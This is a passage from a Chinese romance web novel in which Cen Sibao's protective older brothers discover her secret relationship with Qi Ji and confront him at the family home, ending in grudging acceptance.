但岑似宝还是后退了一步。 祁迹按住了她的肩,“放心,他就算动起手,也只会打我,不会动你。” “怎么听起来你还挺高兴的?快别碰我了!”岑似宝从牙缝里挤出几句,“小心他真的打你!” 岑衡已经走到了她面前,侧过脸,看了眼坦然落在她肩头的手。 依然是淡得近乎平和的神色,却更像是山雨欲来前的宁静。 祁迹这才不急不慢地收回了手。 “晚上不睡觉,跑出来干什么?”岑衡说完,又看向祁迹,“你怎么来了?你们两个,有事要谈?” 暴露得太突然,岑似宝根本没有心理准备。 “我……”她提起一口气,“是的,我在跟祁总谈生意。” 祁迹和岑衡都默然了一瞬。 “谈生意?”岑衡反问,“你跟他?” 岑似宝面不改色说:“对啊,哥,你也知道,现在很多珠宝品牌都在搭建AI平台,像AIGC辅助设计,数据化分析这些。” “我总觉得,我们裕丰在这方面有点落后了,用的最多的还是生产端的质检,线上平台的导购助手等等,至于更深的……” 她停顿了一下,祁迹突然默契地配合:“全链路溯源。” 岑似宝点头,“对,我想加速铺开来,提高效率。就是前期成本会很高,算法的训练,硬件的投入,还有一些数据问题,都不是一蹴而就的事,所以我们这段时间就常常会一起讨论。” 她越说越快,好像真的只是在跟祁迹探讨这个话题。 当然,她也不是全然没想过,“虽然成本高,体系复杂,但是我觉得值得。等到未来技术成熟,规模化,说不定AI落地珠宝的行业标准也要由我们来制定呢。” 岑衡静静听着,终于点了点头,“那么,只是谈生意?” 岑似宝松了口气,看来有希望蒙混过去,“对啊,聊得兴奋了,难免有些肢体接触嘛。” 说到这里,她拉了拉岑衡的胳膊,打出了最强的亲情牌。 “其实,最吸引我的是与矿区合作的那部分,对考察原矿助益很大,这样,你以后也不用出差那么久了。” 岑衡的眼瞳微动,“所以,是为了我?” “嗯嗯。” 岑衡的面上浮现出了一抹复杂的神情,岑似宝觉得,那大概是感动。 “你觉得,我像傻子吗?” 岑似宝:“……” 这种时刻,祁迹居然还笑了一声,半点没有显露出心虚。 岑似宝瞪了他一眼,岑衡则眯起眼看向他,漆黑的眼中暗流涌动。 祁迹收起了笑,与之对视:“谈谈?” 岑衡冷静地颔首,确实该好好谈谈。 只是看向祁迹的目光,完全没有了对昔日好友的轻松。 他拿出了手机。 等岑似宝看到屏幕上跳出的与岑量的对话框,睁大了眼,“哥!” 岑衡轻而易举拿开手机,没有给她抢夺的机会。 他只是简单打了几个字:“见见岑似宝的男朋友。” 岑量几乎是立刻就打来了电话。 被岑衡冷冷地挂断了,“走吧。” 岑似宝傻眼,“去哪儿?” “当然是回家。”岑衡垂眼看她,“怎么,不打算回去了?要跟他浪迹天涯了?” “哥,你别这么阴阳怪气的,不是要跟他谈话吗?” 岑衡已经压着她的肩膀,将她往家门方向带,“是啊,回家里好好谈,家里人应该都挺想谈的。” 岑似宝简直眼前一黑。 她根本搞不明白,这一切到底是怎么发生的。 怎么就快进到见家长了? 岑衡的手没有用多大的力气,岑似宝却连回头看一眼祁迹都难。 刚走出没两步,她就听到祁迹说了声:“能等一下吗?” 岑衡转过头,眼中升起嘲讽,“害怕了?” “不是。”祁迹泰然自若,“既然邀请我上门,首次登门拜访,空着手,不太好。” 岑似宝与岑衡皆是一愣。 随后就看着祁迹朝自己的车走了过去,打开了后备厢。 然后从里头一件接一件,一提又一提,一箱又一箱地往外拿东西。 像是要来她家开店。 岑似宝看得茫然,祁迹却望向了岑衡,挑眉:“帮忙搬一下?” 有一瞬间,岑似宝觉得自己好像听到了岑衡猛然加重的呼吸声。 这一回合,他似乎被祁迹摆了一道,反倒成了他的垫脚石。 岑似宝渐渐缓过神来,震惊出声:“这些东西,你什么时候准备的啊?今天?” 祁迹轻笑一声,“不,很早之前。后来陆陆续续想到什么,就会加上。” 岑似宝微张着嘴。 难道他每次晚上来找她的时候,车子的后备箱里其实都备好了礼物? 岑似宝突然意识到,他是不是一直盼着被岑衡,或是她的其他家人发现? “你……”岑似宝一时不知道该说什么。 客厅已经重新亮起了灯,几个长辈还有些没缓过神来,坐在沙发上,严阵以待。 岑量在看到岑衡消息的那一刻,本以为是那个哆啦A梦恬不知耻地又找岑似宝复合了。 可在见到祁迹的那一刻,恶心变成了震惊,茫然。 最后全都化为了咬牙切齿:“怎、么、是、你?” 祁迹友好地朝他笑了笑,“我记得你说过,身边所有朋友里,最放心我跟你妹妹在一起,你的愿望实现了。” 岑量被他气笑了:“我当时是那个意思吗??你脸呢??” 奶奶打了一下他的背,“怎么对客人这么没礼貌,现在身份不一样了。” 几个长辈都认识祁迹,对他的印象很不错,见来人是他,不约而同稍稍放下了心。 “好了,先坐吧,我们也有些话要问你。” 祁迹刚要走到岑似宝身边,岑衡眼皮子一掀,“坐什么坐?” 岑量也扬了扬下巴,“还不是这个家里的人呢,别这么自来熟。” 祁迹嘴角扬了扬,全盘接受他们的刁难,干脆站在了对面。 岑似宝现在只庆幸,家里没有绞刑架。 岑似宝的爸妈还没回来,岑衡一直以来长兄如父管着岑似宝,几个长辈也睁一只眼闭一只眼,没有再让祁迹坐下。 奶奶严肃问道:“你们两个,在一起多久了?” 岑似宝嘟囔:“也没多久,就被你们发现了。” 岑衡冷冷看向她,“他的嘴长你身上了?” 祁迹出声回答:“年前。” “哈,”岑量笑了,声音像淬了冰,“这叫没多久?挺会瞒的啊。” “是不是她跟她那前男友分手那阵,你们就有瓜葛了?” 祁迹的目光给了他答案。 岑似宝听得心惊肉跳,小心翼翼朝旁边一看,果然,岑衡听到这句话,意味不明地看了她一眼。 好在他并没有纠结岑量口中的前男友问题。 “道德败坏。”岑量脸上的笑容消失了:“那也肯定是你教唆的她,不让她告诉我们吧。” 岑似宝欲言又止。 祁迹没有反驳,背下了这顶黑锅,姿态端正:“抱歉,是我有私心,所以没有提前告知。” 岑衡比岑量要冷静得多,心知光是他提前许久备下的礼物,就知道这句话真假了。 他盯着祁迹,眼神像是觅食的猎豹:“年前在一起?你才见过她几面,真心喜欢她?” 岑似宝赶忙开口:“哥,也不是几面,其实很早之前我们在学校里就有过一……一背之缘。” 岑衡转过头,“问你了吗?” 大伯母啧了一声,摆了摆手:“你别对小宝这么凶。” 大伯也皱起了眉:“你们先说清楚,是在学校里就认识吗?怎么先前没听你提起过?” 顶着岑衡的目光,岑似宝立即跳到了更为亲和的伯母身边,简单说了来龙去脉。 祁迹却微微闭上了眼。 果不其然,岑衡的脸色逐渐晦暗不明起来,眸光锋利,“所以你校庆那天坐在学校门前哭,是因为他?” 岑似宝的倾诉骤然止声。 忘了这茬了。 岑量的拳头也攥紧了,“祁迹,你现在找上她,又撩拨她,不会是为了报复吧?” 岑似宝柔弱地撑起了额头。 居然跟她第一反应一样,不愧是有血缘关系的哥哥。 但想是这么想,她还是要为无辜的祁迹辩驳的:“不是这样的,哥,他没有撩拨我,其实是我主动追的他!” 话音落下,岑量和岑衡同时发出了一声有些阴森的笑,笑意丝毫不达眼底:“你还让她主动追你?” 岑似宝:“……” 祁迹身上的罪,怎么好像随着她的辩解越来越重了。 如果目光可以化为实质,现在的祁迹,恐怕跟松鼠桂鱼也差不多了。 祁迹睁开了眼,安抚了一下她:“你先别说话了。” 随后他将晚上给岑似宝的解释又说了一遍,“在知道有一个人曾经担心过我的时候,我没有办法去责怪她。” 岑衡看着他,眉骨绷紧,突然说起:“你知道的吧,岑似宝从小到大,喜欢的玩具,玩上几天就丢,看中的裙子,穿几天就不会再穿。” “她喜欢你,可能也跟喜欢那些东西没什么两样。或许,再过几天就会腻,你会担心吗?你能接受吗?还会对她好吗?” 所有人都觉得这些话说得很重,却让岑似宝想起了祁迹在病房里跟她说过的,那几句类似的话。 他确实是担心过的。 她低下了头。 从懵懂的童年起,因为得到的爱和物质太多,她其实一直没有学会好好珍惜。 但是现在,面对这个问题,她好像突然有答案了。 没等她说话,祁迹深深望了她一眼,又看向岑衡,“我知道。” “东西是死的,只能拥有她上一刻喜欢的特质,但人是活的。” 所以,他可以去迎合她的喜好,让她永远都有新鲜感,永远不厌倦。 听着他的回答,岑似宝猛地抬起头,眼中闪过水光,“不是的,我现在知道,有的喜欢是短暂的,有的喜欢是长久的。” 或许可以称之为爱。 “我可以确认,我对祁迹的喜欢,就是后者,更不需要他改变。” 室内一时陷入了静默。 她的眼泪一出,引得人心疼,这场拷问好像就进行不下去了。 岑衡站了起来,平静地看向祁迹,“单独谈谈。” “好。”祁迹走了过去。 岑似宝有些担忧地看着两人上了楼,去了书房。 岑量挡住了她的目光,板着脸问:“你也给 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她忍住了看向祁迹的视线,先扑到了岑衡身边:“哥哥,他没打你吧!” 两人:“……” 岑衡没什么好气:“松手,别装了。” 岑似宝这才看向祁迹,观察着。 他看起来也没有伤,可能真的没有打起来。 她长长地舒了口气。 “就这么喜欢他?”岑衡睨着她的一举一动。 岑似宝点了点头,低下了脸,“但是,但是,如果你真的不高兴,不能接受,那我还是……” 岑衡抓到了她偷瞄自己的视线。 “那你就怎么?”他语气凉飕飕地追问。 祁迹也正直勾勾望着她,岑似宝咬着嘴唇,下半句也怎么都说不出口。 许久后,她低声说:“哥,对我来说,你永远是最重要的人,不管我喜欢谁,都不会改变。” 岑衡顿了顿,伸出手,揉了揉岑似宝的头,没有再逼她。 他当然知道。 小的时候,尽管他跟岑量常常恶作剧地吃掉一大口岑似宝的香蕉,但下一次,她还是会没心没肺地让他们帮她剥皮。 后来他才知道,她并不是不记得。 她只是真的想让哥哥吃第一口。 岑衡叹了一声,坐了下来,“出去吧。” 岑似宝抬起头,“那,哥哥,你不反对我跟祁迹谈恋爱了?” 岑衡朝后一靠,手肘搭在扶手上,语气漫不经心:“我反对有用吗?谈吧。” 岑似宝惊喜地笑了。 “反正谈恋爱又没有法律效应。” 岑似宝一怔,“什么意思?” 岑衡敲了敲扶手,提起:“你小的时候,有个算命师傅给你算过,你得晚婚。” 她没有蠢到去问真假,只是谨慎地问:“那是多晚啊?” 岑衡想了想,“四十?” “……” 岑衡瞥了眼祁迹阴沉下来的脸色,嘴角徐徐扬起。 这次,是他扳回一局。 岑似宝拉着祁迹出了书房,“不可能真的到四十的,我哥在说气话,还有我爸妈在呢,不可能的。” 祁迹任她拉着,没什么表情,但看起来还是想回去跟岑衡打一架。 岑似宝:“你放心,最晚最晚,我觉得等我哥结婚了就行了。” 祁迹冷冷地笑了,“那你岂不是一辈子不能嫁人。” 岑似宝:“……收敛一点你的攻击性吧。” 小声劝慰,走到楼梯口时,祁迹突然收住了脚。 岑似宝被他往后一拉,倒进了他怀里。 “哎你怎么——” “下了楼,我就得走了。” 祁迹说完,岑似宝安静了,任他抱着。 鸡飞狗跳的一晚,直到现在,她的心情才真正缓和了下来。 然而这份平静很快就被打破了。 岑量站在楼梯口,探出头来,怒目望着拥抱的两人:“一个外人,大晚上的就别赖在别人家里了吧?” 祁迹站在高处,垂眸看了他一眼,没有说什么,松开了岑似宝,牵着她下了楼。 经过岑量身边的时候,他停下了脚步,转过脸。 “上楼去看看岑衡吧。” 岑量拧眉,“什么?” “兄弟俩,一起哭,有个伴。” 说完,祁迹淡然一笑,继续朝前走。 留下岑量在原地不可思议:“祁迹你??” 他以前到底是有多瞎,居然会以为祁迹是什么光风霁月有风度的君子? 全特么是装的! 岑似宝将祁迹送到了门边。 祁迹幼稚的攻击性已然消失,看了眼她身后盯着这里的长辈们,还是揽住了她,沉声说:“今天晚上很开心。” 岑似宝回抱住他的腰,“我也是。” 过程不论,至少结果是。 在岑量的声声催促中,祁迹走向了夜色。 岑似宝看着他走远的背影,心底突然生出了不舍,有点难受。 她还是想跟他待在一起。 就在这时,他停住了脚步,转过了头。 岑似宝听见,他的声音里带着笑意:“明天早上,我送你去公司。以后,继续由我接送。” “继续是什么意思??你在挑衅吗??”岑量话才喊到一半,岑似宝便拉着他的衣服往后拽。 她的眼睛亮晶晶的,自动消去了背景音:“好!” 不舍的情绪因他的话而逐渐淡去。 因为以后,日升日落之际,他们都会在一起。